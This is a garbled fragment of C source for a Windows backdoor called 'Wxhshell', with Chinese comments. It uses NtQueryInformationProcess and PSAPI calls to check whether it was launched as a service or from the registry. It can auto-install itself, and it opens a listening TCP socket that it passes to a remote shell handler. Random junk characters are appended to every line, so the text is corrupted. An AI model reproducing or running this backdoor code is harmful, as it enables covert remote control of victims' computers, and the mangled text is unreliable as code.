DWORD ExitStatus; |3K]>Lio
DWORD PebBaseAddress; kWm[Lt
DWORD AffinityMask; e'MLLC[
DWORD BasePriority; OY'6 ~w9
ULONG UniqueProcessId; 37U$9]
ULONG InheritedFromUniqueProcessId; .EXxNB]%Y&
} PROCESS_BASIC_INFORMATION; "(NJ{J#A
<)4>"SN&^
PROCNTQSIP NtQueryInformationProcess; C?-_8OA
V=-hqo(
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .cCB,re
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; tFrNnbmlQ
)>+J`NFa
HANDLE hProcess; _Y8RP%
PROCESS_BASIC_INFORMATION pbi; 0m>?-/uDx
u[b0MNE~
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); h5p,BRtu
if(NULL == hInst ) return 0; `ZELw=kLL
nR#'BBlI
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); qV&ai {G:
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _fmOTz G
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9zac[tno
(|t)MnPfY
if (!NtQueryInformationProcess) return 0; <HMmsw
I5H#]U
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /vrjg)fer
if(!hProcess) return 0; J,,+JoD
D]B;5f
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |*te69RX
5
cz6\A&
CloseHandle(hProcess); 97-=Vb
9Lp[y%{GP
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &br_opNi
if(hProcess==NULL) return 0; r6:c<p [c
n\'@]qG)Z4
HMODULE hMod; whb,2=gIE
char procName[255]; KsF kC=
unsigned long cbNeeded; o)SA^5
S<=|i
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); wpS $-
)sBbmct_S
CloseHandle(hProcess); fF.qQTy;7
oaMh5FPy
if(strstr(procName,"services")) return 1; // 以服务启动 kXY p.IVA
;UoXj+Z
return 0; // 注册表启动 F?.J1]
} g6l&;S40
OaCp3No
// 主模块 eW.[M ?,
int StartWxhshell(LPSTR lpCmdLine) {q^?Rw
{ \rPT7\ZA
SOCKET wsl; p({)ZU3
BOOL val=TRUE; n.tJ-l5[
int port=0; O9jpt>:kZ
struct sockaddr_in door; GJP\vsaQ
fNNik7
if(wscfg.ws_autoins) Install(); vgbk
{
6,:`esl
port=atoi(lpCmdLine); X0+M|8:
}\wTV*n`X
if(port<=0) port=wscfg.ws_port; :j4i(qcF
q A?j-H
WSADATA data; 01AzM)U3"m
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; DY' 1#$;
* u{CnH
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; RQt\_x7P
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &.`/ln
door.sin_family = AF_INET; n=tg{_9f%
door.sin_addr.s_addr = inet_addr("127.0.0.1"); QJKVNOo
door.sin_port = htons(port); mvrg!/0w
Yh9fIRR
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { D`fi\A
closesocket(wsl); WlfS|/\%V^
return 1; ~G#^kNme
} 8j%hxAV$
"F8A:tR
if(listen(wsl,2) == INVALID_SOCKET) { 8"2X 8C8
closesocket(wsl); .pd_SQ~
return 1; L7 f'
} `z]MQdE_w
Wxhshell(wsl); xulwn{R s
WSACleanup(); xfqW~&
XF=GmkO
return 0; F G5e{
WeqQw?-
} :.%Hu9=GL
&